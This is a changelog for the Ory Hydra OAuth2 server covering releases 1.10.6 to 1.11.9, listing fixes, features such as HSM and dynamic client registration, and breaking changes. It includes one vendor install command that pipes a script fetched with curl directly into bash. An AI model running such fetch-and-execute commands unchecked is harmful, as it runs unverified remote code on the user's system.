([17b517f](https://github.com/ory/hydra/commit/17b517f355f63788b237b2964984df02b56b8c63)) * Ping logic for SQL Registry ([#3095](https://github.com/ory/hydra/issues/3095)) ([a383b5a](https://github.com/ory/hydra/commit/a383b5a655688b203aba49c35c0f9c3cda84483d)), closes [#2734](https://github.com/ory/hydra/issues/2734) * Swagger for dynamic client registration ([#3141](https://github.com/ory/hydra/issues/3141)) ([9902ec7](https://github.com/ory/hydra/commit/9902ec7333c6e2d271f47f8fc93c43176282d180)) * Updated process ending instructions ([#3176](https://github.com/ory/hydra/issues/3176)) ([b72491e](https://github.com/ory/hydra/commit/b72491ec81dc61ebf5d52ec0f30ae4561f37f9df)): cmd + c doesn't end the process on macOS but ctrl + c does. ### Code Generation * Pin v1.11.9 release commit ([8814e79](https://github.com/ory/hydra/commit/8814e7979cad87e454c1d68bb0eb758e28ab9473)) ### Documentation * Fix missing image ([7925597](https://github.com/ory/hydra/commit/79255970787c4793a57fe79d756aa0364b4a9490)) ### Features * Add session and requester to refresh token webhook data ([#3204](https://github.com/ory/hydra/issues/3204)) ([6d23859](https://github.com/ory/hydra/commit/6d23859009dafc8b8f51d0feec04b850c137e19a)), closes [#3203](https://github.com/ory/hydra/issues/3203) * Add token_endpoint_auth_signing_alg to cli ([#3148](https://github.com/ory/hydra/issues/3148)) ([ed6eb30](https://github.com/ory/hydra/commit/ed6eb3017dfb82f1c1fa97f1d88d023211f1e034)) * Custom client token ttl ([#3206](https://github.com/ory/hydra/issues/3206)) ([9544c03](https://github.com/ory/hydra/commit/9544c03a3bc62de88f5348db30db2f6651c69597)), closes [#3157](https://github.com/ory/hydra/issues/3157): This change introduces a new endpoint that allows you to control how long client tokens last. Now you can configure the lifespan for each valid combination of Client, GrantType, and TokenType. # [1.11.8](https://github.com/ory/hydra/compare/v1.11.7...v1.11.8) (2022-05-04) This release resolves issues in the log module, improves the SDK type definitions, and introduces new configuration options to HSM. ### Bug Fixes * Add limit and offset to pagination ([#3062](https://github.com/ory/hydra/issues/3062)) ([51f6c5d](https://github.com/ory/hydra/commit/51f6c5d12e38ac82f80d6db34d9d0d788af2d985)), closes [#3033](https://github.com/ory/hydra/issues/3033) * Add missing flags to config schema ([00100a1](https://github.com/ory/hydra/commit/00100a1bcb60d1836a2c3d6c6a4212e3161b1bda)), closes [#653](https://github.com/ory/hydra/issues/653) * Configure audit logger ([#3022](https://github.com/ory/hydra/issues/3022)) ([3115dde](https://github.com/ory/hydra/commit/3115dde229a6be936ad4d844d778d6ee82279643)) * Do not use cached version ([422d422](https://github.com/ory/hydra/commit/422d4227e8b599a6eb32b60d432fd0cad95a717a)) * Generated consent model ([#3076](https://github.com/ory/hydra/issues/3076)) ([270dbe0](https://github.com/ory/hydra/commit/270dbe0842827b3ec362a7ec35a56acd33275603)) * Proper response types for 404 errors ([#3072](https://github.com/ory/hydra/issues/3072)) ([e711273](https://github.com/ory/hydra/commit/e711273e935d693d726dde2d97c296bd523f3a1e)), closes [#3064](https://github.com/ory/hydra/issues/3064) * Remove extraneous call to driver.init() ([#3093](https://github.com/ory/hydra/issues/3093)) ([1590542](https://github.com/ory/hydra/commit/1590542c70f98955aed591e3d929309e2b3b7396)) * Remove unnecessary transaction ([#3029](https://github.com/ory/hydra/issues/3029)) ([d4b2696](https://github.com/ory/hydra/commit/d4b2696bd72b9fc98f3959b13be2fc28aa2263bc)) * **sdk:** Correct polymorph type for consent session ([#3074](https://github.com/ory/hydra/issues/3074)) ([646459a](https://github.com/ory/hydra/commit/646459a55528e7f0805934d34493d78b92476904)), closes [#3058](https://github.com/ory/hydra/issues/3058) * **sdk:** Incorrect title ([#3014](https://github.com/ory/hydra/issues/3014)) ([d654911](https://github.com/ory/hydra/commit/d654911c0da2e2f9513e62916daf2284186d19de)): Closes https://github.com/ory/sdk/issues/153 * Sync ports between Dockerfiles and comments ([#3027](https://github.com/ory/hydra/issues/3027)) ([ebd1694](https://github.com/ory/hydra/commit/ebd16940e270561c13aab60a969a4969391d5d80)) * Typo README ([#3078](https://github.com/ory/hydra/issues/3078)) ([7d378f1](https://github.com/ory/hydra/commit/7d378f186cfc140cbb0649557bfd0e2fadd96fff)) * Use default for env var ([2b024b4](https://github.com/ory/hydra/commit/2b024b4f8e98f3efe73018bd57e1d16738d50eeb)) ### Code Generation * Pin v1.11.8 release commit ([337ab3e](https://github.com/ory/hydra/commit/337ab3ec2e363292ff93d5e5641a9b0bb87dba0c)) ### Documentation * Update pricing ([c46f780](https://github.com/ory/hydra/commit/c46f780f4d736a325e63d4542ed3dfbe83431ae6)) * Update README ([#3032](https://github.com/ory/hydra/issues/3032)) ([980c2d8](https://github.com/ory/hydra/commit/980c2d843acc70a23a71dc9b4347d13d70dbc399)) ### Features * Add hsm key set prefix to support multiple hydra instances on the same hsm partition ([#3066](https://github.com/ory/hydra/issues/3066)) ([90523fd](https://github.com/ory/hydra/commit/90523fd0d31930666bd091efeb9346498d92978e)): This pull request adds configuration option `hsm.key_set_prefix` to support multiple Ory Hydra instances to store keys on the same HSM partition. For example if `hsm.key_set_prefix=app1.` then key set `hydra.openid.id-token` would be generated/requested/deleted on HSM with `CKA_LABEL=app1.hydra.openid.id-token` This will not affect Hydra API in any way. `GET /keys/hydra.openid.id-token` will return key set from HSM with label `app1.hydra.openid.id-token`. * Add support for trust grants that can issue tokens for any subject ([#3012](https://github.com/ory/hydra/issues/3012)) ([a3c4304](https://github.com/ory/hydra/commit/a3c4304be2d3988843084d871aa5066d36803219)), closes [#2930](https://github.com/ory/hydra/issues/2930): Previously, a trust relationship had to be setup for every subject before the issuer could sign a JWT token for it. This change will allow setting up token services that can issue tokens with any value in the subject field. * Async backchannel logout ([#2849](https://github.com/ory/hydra/issues/2849)) ([22e1ebb](https://github.com/ory/hydra/commit/22e1ebb5742477e924ebac83c711bec08bffd7ba)) * Backchannel request logging ([#3067](https://github.com/ory/hydra/issues/3067)) ([6dda48d](https://github.com/ory/hydra/commit/6dda48dc3e2eb6d4f57e41abcc8b49e71c38e80d)) * Make sensitive log value redaction text configurable ([#3040](https://github.com/ory/hydra/issues/3040)) ([536352c](https://github.com/ory/hydra/commit/536352c15bb054f123e9d62944690a06cff86ba0)) ### Tests * Ensure generator checks are executed ([#3061](https://github.com/ory/hydra/issues/3061)) ([d38f6e6](https://github.com/ory/hydra/commit/d38f6e626baef00cb4cf57cbe59c7b15bea76e06)) # [1.11.7](https://github.com/ory/hydra/compare/v1.11.6...v1.11.7) (2022-02-23) Ory Hydra has a new place for documentation at [github.com/ory/docs](https://github.com/ory/docs) and [www.ory.sh/docs/hydra](https://www.ory.sh/docs/hydra)! Additionally, the CI/CD infrastructure was moved to GitHub actions. ### Code Generation * Pin v1.11.7 release commit ([510615b](https://github.com/ory/hydra/commit/510615bcc66231f90c29c1186c28f61366da7e52)) # [1.11.6](https://github.com/ory/hydra/compare/v1.11.5...v1.11.6) (2022-02-23) Ory Hydra has a new place for documentation at [github.com/ory/docs](https://github.com/ory/docs) and [www.ory.sh/docs/hydra](https://www.ory.sh/docs/hydra)! Additionally, the CI/CD infrastructure was moved to GitHub actions. ### Bug Fixes * Pass token to render-version-schema ([#3003](https://github.com/ory/hydra/issues/3003)) ([a574689](https://github.com/ory/hydra/commit/a5746898abda877a9072739e519fedd44a2e81a9)) ### Code Generation * Pin v1.11.6 release commit ([49d0d75](https://github.com/ory/hydra/commit/49d0d754c9432b27c7282d39d9b3533f359bc08f)) # [1.11.5](https://github.com/ory/hydra/compare/v1.11.4...v1.11.5) (2022-02-21) Ory Hydra has a new place for documentation at [github.com/ory/docs](https://github.com/ory/docs) and [www.ory.sh/docs/hydra](https://www.ory.sh/docs/hydra)! Additionally, the CI/CD infrastructure was moved to GitHub actions. ### Bug Fixes * Only include needed openapi models ([3d4c16f](https://github.com/ory/hydra/commit/3d4c16ffb14b0ae94858a778b0e75a8ac0535229)) * Remove unused npm format in docs ([2519628](https://github.com/ory/hydra/commit/2519628dd9a512d452ef7fb49cfc12b4624cffd4)) * Update mailchimp list ids ([#2995](https://github.com/ory/hydra/issues/2995)) ([172ca9a](https://github.com/ory/hydra/commit/172ca9aabbf154f863233b8590a200617098a252)) ### Code Generation * Pin v1.11.5 release commit ([743468e](https://github.com/ory/hydra/commit/743468eced1c8329d9b11b7a4cd5410e101bb05b)) # [1.11.4](https://github.com/ory/hydra/compare/v1.11.3...v1.11.4) (2022-02-16) Ory Hydra has a new place for documentation at [github.com/ory/docs](https://github.com/ory/docs) and [www.ory.sh/docs/hydra](https://www.ory.sh/docs/hydra)! Additionally, the CI/CD infrastructure was moved to GitHub actions. ### Bug Fixes * Pass swag-spec-location to sdk-release ([#2994](https://github.com/ory/hydra/issues/2994)) ([b768bb5](https://github.com/ory/hydra/commit/b768bb5afd452d3eb59faf7b0066e146163cb88b)) ### Code Generation * Pin v1.11.4 release commit ([9e731b6](https://github.com/ory/hydra/commit/9e731b6e30b5aadd30fe3d7d8541db2331b11df2)) # [1.11.3](https://github.com/ory/hydra/compare/v1.11.2...v1.11.3) (2022-02-15) No significant changes. ### Bug Fixes * Comply with new fosite persister interface ([#2990](https://github.com/ory/hydra/issues/2990)) ([4c91a39](https://github.com/ory/hydra/commit/4c91a393c9c8bee50557a21b12b01923c874ff14)) ### Code Generation * Pin v1.11.3 release commit ([a3dd4ee](https://github.com/ory/hydra/commit/a3dd4ee051314730f14aa6b7731397fb6e9b90db)) # [1.11.2](https://github.com/ory/hydra/compare/v1.11.1...v1.11.2) (2022-02-11) Ory Hydra moved from CircleCI to GitHub Actions! ### Code Generation * Pin v1.11.2 release commit ([7c099f8](https://github.com/ory/hydra/commit/7c099f8b4479a63a1dd582b3c09ff65a7a1008fe)) # [1.11.1](https://github.com/ory/hydra/compare/v1.11.0...v1.11.1) (2022-02-11) Ory Hydra moved from CircleCI to GitHub Actions! ### Bug Fixes * Add context where needed ([#2985](https://github.com/ory/hydra/issues/2985)) ([784afd1](https://github.com/ory/hydra/commit/784afd1ab838221b86ba112fcfd57bf5dc9602fd)) * After hook ([2f25cc0](https://github.com/ory/hydra/commit/2f25cc02095ee97a62e5ac1e89fdbb4df8f89c65)) * Goreleaser post-hook ([16a5435](https://github.com/ory/hydra/commit/16a5435cf31b7a89b2512bce073fd5d5fd3abb50)) * Quickstart docker ([6a282a3](https://github.com/ory/hydra/commit/6a282a324918bf998d8b3fe9f8e00ae7f2a5d9bb)) * Remove outdated notice ([#2961](https://github.com/ory/hydra/issues/2961)) ([71c9ca4](https://github.com/ory/hydra/commit/71c9ca4984f3f5b8f45f721964e380ed0c460362)) * Revert back to PATs ([#2977](https://github.com/ory/hydra/issues/2977)) ([c47f537](https://github.com/ory/hydra/commit/c47f537a301a7d63592c34e7f0362fcbd460d71c)) * Use correct swagger methods ([#2966](https://github.com/ory/hydra/issues/2966)) ([3340baa](https://github.com/ory/hydra/commit/3340baa73ad4c9becee27bf44215cd08f570e5bb)) ### Code Generation * Pin v1.11.1 release commit ([d24ddbf](https://github.com/ory/hydra/commit/d24ddbfa4a9319ba057284c5d6d2e0bcca9ce314)) ### Code Refactoring * Migrate docs to ory/docs ([#2982](https://github.com/ory/hydra/issues/2982)) ([159c788](https://github.com/ory/hydra/commit/159c788f581bf9b072c2ebdd6ea2ac2025fa7add)) ### Documentation * Add cloud ([76d4d80](https://github.com/ory/hydra/commit/76d4d805b5f25bc5b9f8fdf2ab3b1660968f3ad3)) * Add options for using SQLite & Cockroach DB to 5min tutorial, fix typo in contribution guidelines ([#2970](https://github.com/ory/hydra/issues/2970)) ([05038de](https://github.com/ory/hydra/commit/05038deebc170258813839ea04caa351aec03639)) * Recommend to start with one container in prod to complete first-time setup. ([#2945](https://github.com/ory/hydra/issues/2945)) ([e257f3e](https://github.com/ory/hydra/commit/e257f3e6a4549b07533557aab941e5a1aa45337e)), closes [/github.com/ory/hydra/discussions/2943#discussioncomment-1997531](https://github.com//github.com/ory/hydra/discussions/2943/issues/discussioncomment-1997531): This is to ensure multiple concurrent workers don't both generate JWKs needlessly, for example. * Update readme ([2b1fb64](https://github.com/ory/hydra/commit/2b1fb6421dd25f38aacc6192895be950874fcb7e)) # [1.11.0](https://github.com/ory/hydra/compare/v1.10.7...v1.11.0) (2022-01-21) Happy new year! We are excited to announce to you the next iteration of Ory Hydra: Version 1.11.0! This version has significant new features contributed by the awesome Open Source Community - you! But not only that: **Ory Hydra 2.0 is coming!** While a major version, we intend to keep all APIs with as few breaking changes as possible. The efforts focus on some long-standing issues in the persistence layer. In particular, data growth rate and performance improvements are the focus areass! If you are interested to see what is going on, check out PR [#2796](https://github.com/ory/hydra/pull/2796) And Ory Hydra 2.0 will be available as an API in Ory Cloud! If you are interested in Ory Cloud, apply to [Ory Acceleration Program](https://share-eu1.hsforms.com/1KWJxgKzNQWOjR9r5blC41wextgn) and receive a **one-year free subscription for Ory Cloud's Start-Up plan**. The Start-Up plan comes with convenient features such as custom domains and unlimited identities/tokens! More on timelines and Ory Hydra 2.0 plans will follow later this year. If these changes are not exciting enough already, Ory Hydra now supports loading Private and Public Keys from Hardware Security Modules, a physical computing device that safeguards and manages digital keys, performs encryption and decryption functions for digital signatures, strong authentication, and other cryptographic functions. Thank you [@aarmam](https://github.com/aarmam) for this amazing work! For more information, please [read the guide](https://www.ory.sh/hydra/docs/next/guides/hsm-support). Next up, Ory Hydra now natively supports the OpenID Connect Dynamic Client Registration and OAuth2 Dynamic Client Registration Protocol which can be enabled (optionally) in the configuration! Thank you [@fjvierap](https://github.com/fjvierap) for your hard work! We do not stop there, [@Xopek](https://github.com/Xopek) and [@jagobagascon](https://github.com/jagobagascon) added the Support for JSON Web Token (JWT) Profile for OAuth 2.0 Authorization Grants (RFC7523) to Ory Hydra! This major improvement allows Ory Hydra to have an even better integration API than before! For our Apple users and everyone eyeballing ARM64, we now distributed binaries and Docker Images for all platforms and CPU architectures, including Apple M1, Linux ARM (v6, v7, v8, ARM64), and - this is new - FreeBSD! Lastly, we resolved a bug in the configuration loading which now allows loading complex configuration keys from environment variables without hassle! **Please notice that this release requires SQL migrations to be applied! As always, please make a backup before applying them!** ## Breaking Changes To celebrate this change, we cleaned up the ways you install Ory software. There is now one central brew / bash curl repository: ```patch -brew install ory/hydra/hydra +brew install ory/tap/hydra -bash <(curl https://raw.githubusercontent.com/ory/kratos/master/install.sh) +bash <(curl https://raw.githubusercontent.com/ory/meta/master/install.sh) hydra ``` Endpoint `PUT /clients` now returns a 404 error when the OAuth2 Client to be updated does not exist. It returned 401 previously. This change requires you to run SQL migrations! Co-authored-by: fjviera <[email protected]> Please notice that this change requires SQL migrations to be applied! As always, please make a backup before applying them! Co-authored-by: aeneasr <[email protected]> Co-authored-by: Jagoba Gascón <[email protected]> Co-authored-by: Gajewski Dmitriy <[email protected]> ### Bug Fixes * Add hiring notice to README ([#2893](https://github.com/ory/hydra/issues/2893)) ([0a73d8b](https://github.com/ory/hydra/commit/0a73d8be3639372fe9830a65df1334842888814b)) * Bump deps ([#2868](https://github.com/ory/hydra/issues/2868)) ([b287287](https://github.com/ory/hydra/commit/b2872876ac97d8f2066e2044845f428adc0510dd)) * Contributors is upper case ([5bad542](https://github.com/ory/hydra/commit/5bad542ac7c34e564ae7d71832fc2afca47b14dd)) * Error handling in persister ([#2860](https://github.com/ory/hydra/issues/2860)) ([33d75d7](https://github.com/ory/hydra/commit/33d75d791d801b5bbb2ece442c7e2836fce3a657)) * FreeBSD build issue, env loading, add OTEL tracing ([5158faa](https://github.com/ory/hydra/commit/5158faae10e8f55f7134deefcc084d929480e6f1)), closes [#2597](https://github.com/ory/hydra/issues/2597) [#2912](https://github.com/ory/hydra/issues/2912): This fix addresses an issue where configuration values in arrays could not be loaded from environment variables, which is now possible. For more information on how Ory Hydra parses configuration, [head over to the documentation](https://www.ory.sh/docs/ecosystem/configuring/)! Additionally, this PR resolves a build issue on FreeBSD - making it now possible to compile Ory Hydra with the FreeBSD target. Lastly, this change adds OpenTelemetry support! * Missing imports ([42fec62](https://github.com/ory/hydra/commit/42fec62c074f79a88ac928e86902adc8afc1afd6)) * Missing stack traces ([#2858](https://github.com/ory/hydra/issues/2858)) ([1441658](https://github.com/ory/hydra/commit/144165845aac85f6b91e426872ea02daac541387)) * Patch should not reset client secret ([#2872](https://github.com/ory/hydra/issues/2872)) ([895de01](https://github.com/ory/hydra/commit/895de0120f27a903d97347a012961181bdb5f71f)), closes [#2869](https://github.com/ory/hydra/issues/2869) * Remove codecov report for internal testhelpers ([52a77a3](https://github.com/ory/hydra/commit/52a77a3e563397c603aa7462899a2e1890c44386)), closes [#2871](https://github.com/ory/hydra/issues/2871) * Remove contributors file ([565aa2d](https://github.com/ory/hydra/commit/565aa2d46ff12064d8cbef3d874e6e6216ea97f3)) * Update v1.10 installation instructions for linux ([#2799](https://github.com/ory/hydra/issues/2799)) ([45afd0d](https://github.com/ory/hydra/commit/45afd0d836adad948c13f3be6cf06b33deaceddb)): The documentation for how to install hydra on linux is still using the old version tags * Use pop/v6 ([b284353](https://github.com/ory/hydra/commit/b284353de64675337a857306610041d16266f63e)) * Version info nil on version api endpoint ([#2894](https://github.com/ory/hydra/issues/2894)) ([440e0b8](https://github.com/ory/hydra/commit/440e0b824289b821d82ac0add18a80a94c848323)) ### Code Generation * Pin v1.11.0 release commit ([5355a1a](https://github.com/ory/hydra/commit/5355a1abe709c92cf0bdb838395fd1933cd5e9c9)) ### Documentation * Fix grammar issues and typos ([#2830](https://github.com/ory/hydra/issues/2830)) ([49b582c](https://github.com/ory/hydra/commit/49b582c5b3b6df4c11845986f87693ce2df0c64b)) * ORY -> Ory to follow styleguides ([#2941](https://github.com/ory/hydra/issues/2941)) ([5895d03](https://github.com/ory/hydra/commit/5895d03a37ae8b1fd34db9dafdfbcfef449b4b3c)) * Update bash install ([5ca99e5](https://github.com/ory/hydra/commit/5ca99e5988c6e9262e341c2d5376c3b419909d5c)) * Update coverage badge ([1f89973](https://github.com/ory/hydra/commit/1f899732da3751c89d3b2d3ec298cc8159a4f5f5)), closes [#2871](https://github.com/ory/hydra/issues/2871) * Use Ory instead of ORY in the documentation ([#2939](https://github.com/ory/hydra/issues/2939)) ([1b2f6a6](https://github.com/ory/hydra/commit/1b2f6a675e40bcb5bddbc1b8602e6f698cb40642)) ### Features * Add list of authors ([#2831](https://github.com/ory/hydra/issues/2831)) ([511a668](https://github.com/ory/hydra/commit/511a66898aae7191db922a25957fb84245cd7d26)), closes [#2829](https://github.com/ory/hydra/issues/2829) * Add shellcheck to circleci ([#2835](https://github.com/ory/hydra/issues/2835)) ([38cbcc0](https://github.com/ory/hydra/commit/38cbcc02a0689fa28c1ccd892e7069d1b34516a6)), closes [#2832](https://github.com/ory/hydra/issues/2832) * **docs:** Opentelemetry tracing ([74da7b6](https://github.com/ory/hydra/commit/74da7b6b0a0e92ec4162141b10de2df3c9fed587)) * ES256 for JWK generation ([#2828](https://github.com/ory/hydra/issues/2828)) ([5795bc3](https://github.com/ory/hydra/commit/5795bc3e650815a69c89e591925621eff4b63a11)), closes [#2453](https://github.com/ory/hydra/issues/2453) * Hardware Security Module support ([#2625](https://github.com/ory/hydra/issues/2625)) ([7578aa9](https://github.com/ory/hydra/commit/7578aa9f3ad16beff669d6749e248d44b61359ae)): This change introduces support for Hardware Security Modules, a physical computing device that safeguards and manages digital keys, performs encryption and decryption functions for digital signatures, strong authentication, and other cryptographic functions. If enabled, the Hardware Security Module is used to look up any keys. If no key is found, the software module is used as a fallback for lookup. This allows you to use the HSM for privileged keys, and the software module to manage lifecycle keys (e.g. for Token Exchange). For more information, please [read the guide](https://www.ory.sh/hydra/docs/next/guides/hsm-support). Thank you to [aarmam](https://github.com/aarmam) for this great contribution! * Native ARM64 support in Docker and Binaries ([abffb09](https://github.com/ory/hydra/commit/abffb098cfc51ee4a045f833cc79b23ec4bacb31)): This release adds important security updates for the base Docker Images (e.g. Alpine). Additionally, Ory Hydra now has full ARM support have been resolved and the binaries are now downloadable for all major platforms. * OpenID Connect Dynamic Client Registration and OAuth2 Dynamic Client Registration Protocol ([#2909](https://github.com/ory/hydra/issues/2909)) ([6a18f62](https://github.com/ory/hydra/commit/6a18f62935bccaed85acadf6010e0e3a395ea538)), closes [#2568](https://github.com/ory/hydra/issues/2568) [#2549](https://github.com/ory/hydra/issues/2549): This feature adds first-class support for two IETF RFCs and one OpenID Spec: - [OpenID Connect Dynamic Client Registration 1.0](https://openid.net/specs/openid-connect-registration-1_0.html) - [OAuth 2.0 Dynamic Client Registration Protocol](https://tools.ietf.org/html/rfc7591) - [OAuth 2.0 Dynamic Client Registration Management Protocol](https://tools.ietf.org/html/rfc7592) To enable this feature, which is disabled by default, set ```yaml oidc: dynamic_client_registration: enabled: true ``` in your Ory Hydra configuration. Once enabled, endpoints `POST`, `GET`, `PUT`, and `DELETE` for `/connect/register` will be available at the public port! * Support for urn:ietf:params:oauth:grant-type:jwt-bearer grant type RFC 7523 ([#2384](https://github.com/ory/hydra/issues/2384)) ([858f2cf](https://github.com/ory/hydra/commit/858f2cf362996f46a8f86841e359336e877436c5)), closes [#2229](https://github.com/ory/hydra/issues/2229): This change adds support for JSON Web Token (JWT) Profile for OAuth 2.0 Authorization Grants (RFC7523). Users of Ory Hydra will be able to grant permission for OAuth 2.0 Client to act on behalf of some Resource Owner using JWT Bearer Assertions. For more information about this feature, please head over to the documentation: https://www.ory.sh/hydra/docs/next/guides/oauth2-grant-type-jwt-bearer # [1.10.7](https://github.com/ory/hydra/compare/v1.10.6...v1.10.7) (2021-10-27) Ory Hydra v1.10.7 ships an exciting new feature that enables the updating of access and ID tokens during a refresh flow via an HTTP webhook. To set it up, use the `oauth2.refresh_token_hook` configuration to set up an HTTP(S) endpoint which receives a POST request when a refresh token is about to be issued! And even more exciting, we would like to invite you to our first developer conference which is happening tomorrow and the day after (October 28th and 29th, 2021). The event is [digital and tickets are free](https://www.ory.sh/summit21). After short keynotes from Ory's founders Aeneas (hackerman) and Thomas (tacurran), you will learn from fellow community members and contributors about building robust authorization and authentication, best practices for modern cloud infrastructure and many other developer topics! **[Grab your free tickets now!](https://www.ory.sh/summit21)** Additionally, improvements to tracing, documentation, ID token claims have been merged. Also, Ory Hydra now no longer takes 3 seconds for the CLI to become responsive as we have found a transient dependency that caused slow initialization times: ``` $ time hydra hydra 1.87s user 1.90s system 620% cpu 0.607 total $ time ./hydra-v1.10.7 ./hydra-patch 0.03s user 0.01s system 8% cpu 0.450 total $ time ./hydra-v1.10.7 ./hydra-patch 0.02s user 0.01s system 104% cpu 0.032 total ``` Please note that the location of our Homebrew tap has changed for Ory Hydra from `ory/ory/hydra` to `ory/tap/hydra`: ```patch - brew install ory/ory/hydra + brew install ory/tap/hydra ``` All homebrew taps will move to this location, including Ory Kratos, Ory Oathkeeper, Ory Keto, and the Ory CLI! ## Breaking Changes Please note that the location of our Homebrew tap has changed for Ory Hydra from `ory/ory/hydra` to `ory/tap/hydra`: ```patch - brew install ory/ory/hydra + brew install ory/tap/hydra ``` ### Bug Fixes * Add content-type header to hook request ([#2775](https://github.com/ory/hydra/issues/2775)) ([8d0e5e6](https://github.com/ory/hydra/commit/8d0e5e65dddae4f510448c136be91c28e2d091e0)) * Broken note ([#2769](https://github.com/ory/hydra/issues/2769)) ([c84427d](https://github.com/ory/hydra/commit/c84427d334af0342bd06955054c8fc73199ada2e)) * Documentation correction mentioned in the issue ([#2732](https://github.com/ory/hydra/issues/2732)) ([#2773](https://github.com/ory/hydra/issues/2773)) ([ea7a20c](https://github.com/ory/hydra/commit/ea7a20c0f5dfedbbd02da046735163018391b55b)) * Ignore dockertest in sdk generator ([f9506db](https://github.com/ory/hydra/commit/f9506dbc0ba15dd883ae5c86bab627e3261e24fd)) * List oauth2 clients query parameter 'name' -> 'client_name' ([#2747](https://github.com/ory/hydra/issues/2747)) ([283c351](https://github.com/ory/hydra/commit/283c3514c63eba87d314013977c21bbebb9f1c6d)): This commit renders the docs to be in parity with an earlier change [1] Reference(s): [1] https://github.com/ory/hydra/pull/2706 * Replace fatal error of jaeger initialization with print ([#2777](https://github.com/ory/hydra/issues/2777)) ([433ce74](https://github.com/ory/hydra/commit/433ce7467db29b13640ff10d9f3b81831f508cb6)), closes [#2642](https://github.com/ory/hydra/issues/2642) * Resolve panic caused by new prometheus library ([ff0a43e](https://github.com/ory/hydra/commit/ff0a43ec66520dd97970f67c4c33cd6e71e5bbc8)) * Resolve prometheus panic ([f38511f](https://github.com/ory/hydra/commit/f38511fe38674977691a1d644c2f0879ec9153c4)) * Slow hydra start up time ([ce1b378](https://github.com/ory/hydra/commit/ce1b378021828f3c48340c0d8f22f820be77f883)): Found a deeply nested dependency which was importing `https://github.com/markbates/pkger`, causing unreasonable CPU consumption and significant delay at start up time. With this patch, start up time was reduced from almost 2 seconds to 0.03s seconds for cold starts and ~0.02s for hot starts. ``` $ time hydra hydra 1.87s user 1.90s system 620% cpu 0.607 total $ time ./hydra-patch ./hydra-patch 0.03s user 0.01s system 8% cpu 0.450 total $ time ./hydra-patch ./hydra-patch 0.02s user 0.01s system 104% cpu 0.032 total ``` * Sqlite regression ([5881c13](https://github.com/ory/hydra/commit/5881c1368b20fa7cd27e0142dcc6816ce96198e6)) * Update client filter to client_name ([#2706](https://github.com/ory/hydra/issues/2706)) ([dee4fa2](https://github.com/ory/hydra/commit/dee4fa278701010a20ca8617d59dd21d7be83583)), closes [#2691](https://github.com/ory/hydra/issues/2691) * Upgrade regression ([da58453](https://github.com/ory/hydra/commit/da58453db1abf11ef120455b77a0edaec9952ed3)) ### Code Generation * Pin v1.10.7 release commit ([0a42535](https://github.com/ory/hydra/commit/0a425352a80867ab7457e89414c3c30efd7d645c)) ### Code Refactoring * Change location of homebrew tap ([1eeeeae](https://github.com/ory/hydra/commit/1eeeeae059549e50d6c8a5a0ff2c6be3037d73c4)) ### Documentation * Clarify endpoint ([#2757](https://github.com/ory/hydra/issues/2757)) ([d772748](https://github.com/ory/hydra/commit/d772748be7902dd76366c16359ead2e84b54b4c6)), closes [#2751](https://github.com/ory/hydra/issues/2751) * Faq item ([#2678](https://github.com/ory/hydra/issues/2678)) ([856ccc0](https://github.com/ory/hydra/commit/856ccc0cd3a0b5f7bb58e25c15f4013000b29a50)) * K8s installation section ([#2724](https://github.com/ory/hydra/issues/2724)) ([aec73bb](https://github.com/ory/hydra/commit/aec73bb15c960bbd7cb8b3925c04b45289647a6b)) * Remove outdated information in doc configuration section ([#2723](https://github.com/ory/hydra/issues/2723)) ([3f16045](https://github.com/ory/hydra/commit/3f16045dcd000b1b2f87ab059d745869b5450bc6)) * Typos ([#2798](https://github.com/ory/hydra/issues/2798)) ([0274fcc](https://github.com/ory/hydra/commit/0274fcc3d6160d93ed9b8c3a9fc561a994ba8714)) * Typos in docs ([#2808](https://github.com/ory/hydra/issues/2808)) ([a2bacc8](https://github.com/ory/hydra/commit/a2bacc88b3b863375d0ac40f48f9963db12cfcc1)) * Update installation section helm command ([#2725](https://github.com/ory/hydra/issues/2725)) ([f6a4dc6](https://github.com/ory/hydra/commit/f6a4dc6d68d7551dc54361a5dd497ecbe9b1af92)) * Update k8s examples section part of the page ([#2719](https://github.com/ory/hydra/issues/2719)) ([048156d](https://github.com/ory/hydra/commit/048156dba821a24573c64f074b8e4023f31e89f2)) * Update k8s examples section part of the page ([#2720](https://github.com/ory/hydra/issues/2720)) ([1d6eeba](https://github.com/ory/hydra/commit/1d6eeba521429ca76bbfb88fe2a47a2b3579303a)) * Update oauth2 debug swction ([#2717](https://github.com/ory/hydra/issues/2717)) ([a2cdc08](https://github.com/ory/hydra/commit/a2cdc0869321e6a67c93dee2e1f07952efd62ef6)) ### Features * Add EdDSA support ([#2782](https://github.com/ory/hydra/issues/2782)) ([2ea49da](https://github.com/ory/hydra/commit/2ea49daca624ede51fba604ddf1f2c5ded9c523a)) * Add method to detect public keys without prefixing ([#2758](https://github.com/ory/hydra/issues/2758)) ([b12e70c](https://github.com/ory/hydra/commit/b12e70c9a08ad62490731f57b5bfcb52c64217f0)), closes [#2459](https://github.com/ory/hydra/issues/2459) * Include amr claim in ID token ([#2770](https://github.com/ory/hydra/issues/2770)) ([f701310](https://github.com/ory/hydra/commit/f701310a8b78eef1f0fb090509ae9385150e1424)), closes [#1756](https://github.com/ory/hydra/issues/1756) * Introduce cve scanning ([#2772](https://github.com/ory/hydra/issues/2772)) ([e5295c6](https://github.com/ory/hydra/commit/e5295c6bb7188978ba6310c049f33c47a407d7a7)) * Making use of the updated instrumentedsql version ([#2713](https://github.com/ory/hydra/issues/2713)) ([0a9df15](https://github.com/ory/hydra/commit/0a9df1579bb3196134c8b3ede8f28977365518e3)) * Refresh token hook to update claims ([#2649](https://github.com/ory/hydra/issues/2649)) ([1a7dcd1](https://github.com/ory/hydra/commit/1a7dcd1c464a9707237108a894f7b1d10f27c79a)), closes [#2570](https://github.com/ory/hydra/issues/2570): This patch adds a new feature to Ory Hydra which allows the updating of access and ID tokens during the refresh flow. To set it up, use the `oauth2.refresh_token_hook` configuration to set up a HTTP(S) endpoint which receives a POST request when a refresh token is about to be issued. * Support updating keys in CLI ([#2460](https://github.com/ory/hydra/issues/2460)) ([e874f4f](https://github.com/ory/hydra/commit/e874f4f300012f363c0bdf685458d0c56c5a8477)), closes [#2436](https://github.com/ory/hydra/issues/2436) # [1.10.6](https://github.com/ory/hydra/compare/v1.10.5...v1.10.6) (2021-08-28) This release primarily resolves issues with the SDK publishing pipeline. ### Bug Fixes * Documentation SYSTEM_SECRET -> SECRETS_SYSTEM ([#2686](https://github.com/ory/hydra/issues/2686)) ([184a3c4](https://github.com/ory/hydra/commit/184a3c45a6fef792458af101778f1bd0c6719d83)) * Typo in errors.go ([#2699](https://github.com/ory/hydra/issues/2699)) 